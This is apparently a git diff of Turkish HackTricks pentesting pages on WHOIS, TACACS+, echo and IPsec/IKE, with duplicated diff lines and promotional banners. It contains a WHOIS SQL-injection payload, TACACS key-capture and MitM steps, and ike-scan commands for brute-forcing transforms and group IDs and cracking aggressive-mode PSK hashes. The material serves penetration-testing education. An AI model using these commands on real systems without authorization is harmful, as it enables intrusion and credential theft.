<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -361,8 +337,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
**WHOIS** protokolü, belirli veritabanları aracılığıyla **çeşitli İnternet kaynaklarının kayıtlı sahipleri veya tutucuları hakkında bilgi edinmek için standart bir yöntem** olarak hizmet eder. Bu kaynaklar, alan adları, IP adresi blokları ve otonom sistemler gibi unsurları kapsar. Bunların ötesinde, protokol daha geniş bir bilgi yelpazesine erişimde de uygulanır. **WHOIS** protokolü, belirli veritabanları aracılığıyla **çeşitli İnternet kaynaklarının kayıtlı sahipleri veya tutucuları hakkında bilgi edinmek için standart bir yöntem** olarak hizmet eder. Bu kaynaklar, alan adları, IP adresi blokları ve otonom sistemler gibi unsurları kapsar. Bunların ötesinde, protokol daha geniş bir bilgi yelpazesine erişimde de uygulanır.
@ -43,18 +35,12 @@ Notice than sometimes when requesting for some information to a WHOIS service th
![](<../.gitbook/assets/image (301).png>) ![](<../.gitbook/assets/image (301).png>)
Ayrıca, WHOIS hizmeti her zaman bilgileri depolamak ve çıkarmak için bir **veritabanı** kullanmak zorundadır. Bu nedenle, kullanıcının sağladığı bazı bilgilerden **veritabanını sorgularken** olası bir **SQLInjection** mevcut olabilir. Örneğin `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` yaparak **veritabanında** kaydedilen **tüm bilgileri** **çıkartabilirsin**. Ayrıca, WHOIS hizmeti her zaman bilgileri depolamak ve çıkarmak için bir **veritabanı** kullanmak zorundadır. Bu nedenle, kullanıcının sağladığı bazı bilgilerden **veritabanını sorgularken** olası bir **SQLInjection** mevcut olabilir. Örneğin `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` yaparak **veritabanında** kaydedilen **tüm bilgileri** **çıkartabilirsiniz**.
## Shodan ## Shodan
* `port:43 whois` * `port:43 whois`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Automatic Commands ## HackTricks Automatic Commands
``` ```
Protocol_Name: WHOIS #Protocol Abbreviation if there is one. Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
@ -84,7 +70,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
**Terminal Erişim Kontrol Cihazı Erişim Kontrol Sistemi (TACACS)** protokolü, yönlendiricilere veya Ağ Erişim Sunucularına (NAS) erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Geliştirilmiş versiyonu **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve muhasebe (AAA) olarak ayırır. **Terminal Erişim Kontrolörü Erişim Kontrol Sistemi (TACACS)** protokolü, yönlendiricilere veya Ağ Erişim Sunucularına (NAS) erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Geliştirilmiş versiyonu **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve muhasebe (AAA) olarak ayırır.
``` ```
PORT STATE SERVICE PORT STATE SERVICE
49/tcp open tacacs 49/tcp open tacacs
@ -34,7 +26,7 @@ PORT STATE SERVICE
## Kimlik Doğrulama Anahtarını Yakalama ## Kimlik Doğrulama Anahtarını Yakalama
Eğer istemci ve TACACS sunucusu arasındaki iletişim bir saldırgan tarafından yakalanırsa, **şifrelenmiş kimlik doğrulama anahtarı yakalanabilir**. Saldırgan, **anahtara karşı yerel bir brute-force saldırısı gerçekleştirmeyi deneyebilir ve bu saldırı günlüklerde tespit edilmeden yapılabilir**. Anahtarı brute-force ile kırmayı başarırsa, saldırgan ağ ekipmanına erişim kazanır ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir. Eğer istemci ve TACACS sunucusu arasındaki iletişim bir saldırgan tarafından kesilirse, **şifrelenmiş kimlik doğrulama anahtarı yakalanabilir**. Saldırgan, **anahtara karşı yerel bir brute-force saldırısı gerçekleştirmeyi deneyebilir ve bu, günlüklerde tespit edilmeden yapılabilir**. Anahtarı brute-force ile kırmayı başarırsa, saldırgan ağ ekipmanına erişim kazanır ve trafiği Wireshark gibi araçlar kullanarak şifreleyebilir.
### MitM Saldırısı Gerçekleştirme ### MitM Saldırısı Gerçekleştirme
@ -49,19 +41,14 @@ sudo loki_gtk.py
Eğer anahtar başarıyla **bruteforced** (**genellikle MD5 şifreli formatta**) olursa, **cihazlara erişebilir ve TACACS şifreli trafiği çözebiliriz.** Eğer anahtar başarıyla **bruteforced** (**genellikle MD5 şifreli formatta**) olursa, **cihazlara erişebilir ve TACACS şifreli trafiği çözebiliriz.**
### Trafiği Çözme ### Trafiği Çözme
Anahtar başarıyla kırıldıktan sonra, bir sonraki adım **TACACS şifreli trafiği çözmektir**. Anahtar sağlandığında Wireshark, şifreli TACACS trafiğini işleyebilir. Çözülmüş trafiği analiz ederek, **kullanılan banner ve admin kullanıcısının kullanıcı adı** gibi bilgilere ulaşılabilir. Anahtar başarıyla kırıldıktan sonra, bir sonraki adım **TACACS şifreli trafiği çözmektir**. Wireshark, anahtar sağlandığında şifreli TACACS trafiğini işleyebilir. Çözülmüş trafiği analiz ederek, **kullanılan banner ve admin kullanıcısının kullanıcı adı** gibi bilgilere ulaşılabilir.
Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline erişim sağlandığında, saldırgan ağ üzerinde kontrol kurabilir. Bu eylemlerin yalnızca eğitim amaçlı olduğunu ve uygun yetkilendirme olmadan kullanılmaması gerektiğini belirtmek önemlidir. Elde edilen kimlik bilgilerini kullanarak ağ ekipmanının kontrol paneline erişim sağlandığında, saldırgan ağ üzerinde kontrol kurabilir. Bu eylemlerin yalnızca eğitim amaçlı olduğunu ve uygun yetkilendirme olmadan kullanılmaması gerektiğini belirtmek önemlidir.
## Referanslar ## Referanslar
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,32 +1,24 @@
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Temel Bilgiler # Temel Bilgiler
Bu hostta bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçları için tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu aldığı verileri, herhangi bir değişiklik yapmadan geri gönderir.\ Bu hostta bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçları için tasarlanmıştır ve hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu aldığı verileri, herhangi bir değişiklik yapmadan geri gönderir.\
**Aynı veya başka bir makinedeki echo servisine bağlanarak bir hizmet reddi (denial of service) oluşturmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle, etkilenen makineler etkili bir şekilde hizmet dışı kalabilir.\ **Aynı veya başka bir makinedeki echo servisine bağlanarak hizmet reddi (denial of service) oluşturmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle, etkilenen makineler etkili bir şekilde hizmet dışı kalabilir.\
Bilgi [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) adresinden alınmıştır. Bilgi için [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Varsayılan Port:** 7/tcp/udp **Varsayılan Port:** 7/tcp/udp
``` ```
@ -44,22 +36,16 @@ Hello echo #This is the response
* `port:7 echo` * `port:7 echo`
## References ## Referanslar
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol) [Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html) [CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -16,23 +16,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
{% endhint %} {% endhint %}
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
**IPsec**, ağlar (LAN-to-LAN) arasında ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimini güvence altına almak için ana teknoloji olarak geniş çapta tanınmaktadır ve kurumsal VPN çözümlerinin belkemiğini oluşturur. **IPsec**, ağlar (LAN-to-LAN) arasında ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimini güvence altına almak için ana teknoloji olarak geniş çapta tanınmaktadır ve kurumsal VPN çözümlerinin belkemiğini oluşturmaktadır.
İki nokta arasında bir **güvenlik ilişkisi (SA)** kurulumu, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP çerçevesinde çalışan **IKE** tarafından yönetilmektedir. Bu süreç birkaç aşamada gerçekleşir: İki nokta arasında bir **güvenlik ilişkisi (SA)** kurulumu, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP çerçevesinde çalışan **IKE** tarafından yönetilmektedir. Bu süreç birkaç aşamada gerçekleşir:
* **Aşama 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Önceden Paylaşılan Anahtar (PSK) veya sertifikalar kullanılarak, üç mesaj çiftini içeren ana mod veya **agresif mod** kullanılarak gerçekleştirilir. * **Aşama 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Önceden Paylaşılan Anahtar (PSK) veya sertifikalar kullanılarak, üç mesaj çiftini içeren ana mod veya **agresif mod** kullanılarak gerçekleştirilir.
* **Aşama 1.5:** Zorunlu olmamakla birlikte, bu aşama, bağlantı kurmaya çalışan kullanıcının kimliğini doğrulamak için bir kullanıcı adı ve şifre gerektiren Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir. * **Aşama 1.5:** Zorunlu olmamakla birlikte, bu aşama, bağlantı kurmaya çalışan kullanıcının kimliğini doğrulamak için bir kullanıcı adı ve şifre gerektiren Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir.
* **Aşama 2:** Bu aşama, verileri **ESP** ve **AH** ile güvence altına almak için parametrelerin müzakere edilmesine adanmıştır. **Perfect Forward Secrecy (PFS)** sağlamak için Aşama 1'deki algoritmalardan farklı algoritmaların kullanılmasına izin verir, güvenliği artırır. * **Aşama 2:** Bu aşama, verileri **ESP** ve **AH** ile güvence altına almak için parametrelerin müzakere edilmesine adanmıştır. **Mükemmel İleri Gizlilik (PFS)** sağlamak için Aşama 1'deki algoritmalardan farklı algoritmaların kullanılmasına izin verir, güvenliği artırır.
**Varsayılan port:** 500/udp **Varsayılan port:** 500/udp
@ -48,11 +40,11 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
``` ```
## **Geçerli bir dönüşüm bulma** ## **Geçerli bir dönüşüm bulma**
IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul edecek şekilde hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** içeren bir dizi özellik barındırır. IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul edecek şekilde hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. **Her dönüşüm**, DES veya 3DES gibi **şifreleme algoritması**, SHA veya MD5 gibi **bütünlük algoritması**, önceden paylaşılan bir anahtar gibi **kimlik doğrulama türü**, Diffie-Hellman 1 veya 2 gibi anahtar **dağıtım algoritması** ve 28800 saniye gibi **ömür** gibi bir dizi özellik içerir.
O halde, yapmanız gereken ilk şey **geçerli bir dönüşüm bulmak**tır, böylece sunucu sizinle iletişim kuracaktır. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ile birlikte bir paketi geçide gönderir ve **içinde sekiz dönüşüm bulunan** tek bir öneri gönderir. O zaman, yapmanız gereken ilk şey **geçerli bir dönüşüm bulmak**, böylece sunucu sizinle iletişim kuracaktır. Bunu yapmak için **ike-scan** aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ile birlikte bir paketi geçide gönderir ve **içinde sekiz dönüşüm bulunan** tek bir öneri gönderir.
Aldığınız yanıta bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz: Cevaba bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz:
``` ```
root@bt:~# ike-scan -M 172.16.21.200 root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -68,7 +60,7 @@ As you can see in the previous response, there is a field called **AUTH** with t
* _0 dönen el sıkışma; 0 dönen bildirim:_ Bu, hedefin **bir IPsec geçidi olmadığını** gösterir. * _0 dönen el sıkışma; 0 dönen bildirim:_ Bu, hedefin **bir IPsec geçidi olmadığını** gösterir.
* _**1 dönen el sıkışma; 0 dönen bildirim:**_ Bu, **hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu, önerdiğiniz dönüşümlerden birinin veya daha fazlasının kabul edilebilir olduğunu** gösterir (geçerli bir dönüşüm çıktıda gösterilecektir). * _**1 dönen el sıkışma; 0 dönen bildirim:**_ Bu, **hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu, önerdiğiniz dönüşümlerden birinin veya daha fazlasının kabul edilebilir olduğunu** gösterir (geçerli bir dönüşüm çıktıda gösterilecektir).
* _0 dönen el sıkışma; 1 dönen bildirim:_ VPN geçitleri, **dönüşümlerin hiçbiri kabul edilebilir değilse** bir bildirim mesajı ile yanıt verir (bazı geçitler bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir teklif denenmelidir). * _0 dönen el sıkışma; 1 dönen bildirim:_ VPN geçitleri, **dönüşümlerin hiçbiri kabul edilebilir olmadığında** bir bildirim mesajı ile yanıt verir (bazı geçitler bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir teklif denenmelidir).
Bu durumda zaten geçerli bir dönüşümümüz var, ancak 3. durumda iseniz, geçerli bir dönüşüm bulmak için **biraz brute-force yapmanız gerekir:** Bu durumda zaten geçerli bir dönüşümümüz var, ancak 3. durumda iseniz, geçerli bir dönüşüm bulmak için **biraz brute-force yapmanız gerekir:**
@ -86,7 +78,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
``` ```
Umarım **geçerli bir dönüşüm geri yansıtılır**.\ Umarım **geçerli bir dönüşüm geri yansıtılır**.\
Aynı **saldırıyı** [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak deneyebilirsiniz.\ Aynı **saldırıyı** [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) kullanarak deneyebilirsiniz.\
Ayrıca dönüşümleri brute force ile denemek için [**ikeforce**](https://github.com/SpiderLabs/ikeforce) kullanabilirsiniz: Ayrıca dönüşümleri [**ikeforce**](https://github.com/SpiderLabs/ikeforce) ile kaba kuvvetle denemeyi de deneyebilirsiniz:
```bash ```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help ./ikeforce.py <IP> # No parameters are required for scan -h for additional help
``` ```
@ -99,7 +91,7 @@ Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirterek kull
### Sunucu parmak izi alma ### Sunucu parmak izi alma
Daha sonra, cihazın **satıcısını keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç önerisi gönderir ve tekrar oynamayı durdurur. Ardından, sunucudan alınan **mesajlar** ile eşleşen yanıt deseninin **zaman** farkını **analiz** ederek, pentester VPN geçidi satıcısını başarıyla parmak izi alabilir. Ayrıca, bazı VPN sunucuları IKE ile birlikte isteğe bağlı **Satıcı Kimliği (VID) yükünü** kullanacaktır. Daha sonra, cihazın **satıcısını keşfetmek** için ike-scan kullanabilirsiniz. Araç, bir başlangıç önerisi gönderir ve tekrar oynamayı durdurur. Ardından, sunucudan alınan **mesajlar** ile eşleşen yanıt deseninin **zaman** farkını **analiz** ederek, pentester VPN geçidi satıcısını başarıyla parmak izi alabilir. Ayrıca, bazı VPN sunucuları IKE ile isteğe bağlı **Satıcı Kimliği (VID) yükünü** kullanacaktır.
**Gerekirse geçerli dönüşümü belirtin** (using --trans) **Gerekirse geçerli dönüşümü belirtin** (using --trans)
@ -127,7 +119,7 @@ Bu, nmap script _**ike-version**_ ile de gerçekleştirilebilir.
## Doğru ID'yi (grup adını) bulma ## Doğru ID'yi (grup adını) bulma
Hash'i yakalamak için geçerli bir dönüşüm ve doğru ID (grup adı) gereklidir. Geçerli grup adını muhtemelen bilemeyeceksiniz, bu yüzden bunu brute-force ile denemeniz gerekecek.\ Hash'i yakalamak için geçerli bir dönüşüm ve doğru ID (grup adı) gereklidir. Geçerli grup adını muhtemelen bilemeyeceksiniz, bu yüzden bunu brute-force ile bulmanız gerekecek.\
Bunu yapmak için size 2 yöntem öneririm: Bunu yapmak için size 2 yöntem öneririm:
### ike-scan ile ID'yi brute-force yapmak ### ike-scan ile ID'yi brute-force yapmak
@ -136,13 +128,13 @@ Bunu yapmak için size 2 yöntem öneririm:
```bash ```bash
ike-scan -P -M -A -n fakeID <IP> ike-scan -P -M -A -n fakeID <IP>
``` ```
Eğer **hiçbir hash döndürülmüyorsa**, o zaman bu brute forcing yöntemi muhtemelen işe yarayacaktır. **Eğer bazı hash'ler döndürülüyorsa, bu sahte bir kimlik için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem kimliği brute-force etmek için güvenilir olmayacaktır.** Örneğin, sahte bir hash döndürülebilir (bu modern versiyonlarda olur): Eğer **hiçbir hash döndürülmüyorsa**, o zaman bu brute forcing yöntemi muhtemelen işe yarayacaktır. **Eğer bazı hash'ler döndürülüyorsa, bu sahte bir ID için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem ID'yi brute-force etmek için güvenilir olmayacaktır.** Örneğin, sahte bir hash döndürülebilir (bu modern versiyonlarda olur):
![](<../.gitbook/assets/image (917).png>) ![](<../.gitbook/assets/image (917).png>)
Ama dediğim gibi, eğer hiçbir hash döndürülmüyorsa, o zaman ike-scan kullanarak yaygın grup adlarını brute-force etmeyi denemelisiniz. Ama dediğim gibi, eğer hiçbir hash döndürülmüyorsa, o zaman ike-scan kullanarak yaygın grup adlarını brute-force etmeyi denemelisiniz.
Bu script **mümkün olan kimlikleri brute-force etmeye çalışacak** ve geçerli bir el sıkışma döndürülen kimlikleri geri verecektir (bu geçerli bir grup adı olacaktır). Bu script **mümkün olan ID'leri brute-force etmeye çalışacak** ve geçerli bir el sıkışma döndürülen ID'leri geri döndürecektir (bu geçerli bir grup adı olacaktır).
Eğer belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve eğer birkaç dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (birisi düzgün çalışana kadar hepsini denemelisiniz). Eğer belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve eğer birkaç dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (birisi düzgün çalışana kadar hepsini denemelisiniz).
@ -185,13 +177,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
![](<../.gitbook/assets/image (891).png>) ![](<../.gitbook/assets/image (891).png>)
## Hash'ı yakalama ve kırma ## Capturing & cracking the hash
Son olarak, eğer **geçerli bir dönüşüm** ve **grup adı** bulduysanız ve **agresif mod izin veriliyorsa**, o zaman kırılabilir hash'i çok kolay bir şekilde elde edebilirsiniz: Son olarak, eğer **geçerli bir dönüşüm** ve **grup adı** bulduysanız ve **agresif mod izin veriliyorsa**, o zaman kırılabilir hash'i çok kolay bir şekilde elde edebilirsiniz:
```bash ```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
``` ```
Hash, _hash.txt_ dosyasının içine kaydedilecektir. Hash, _hash.txt_ dosyasına kaydedilecektir.
Hash'i **crack** etmek için **psk-crack**, **john** ([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz: Hash'i **crack** etmek için **psk-crack**, **john** ([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz:
```bash ```bash
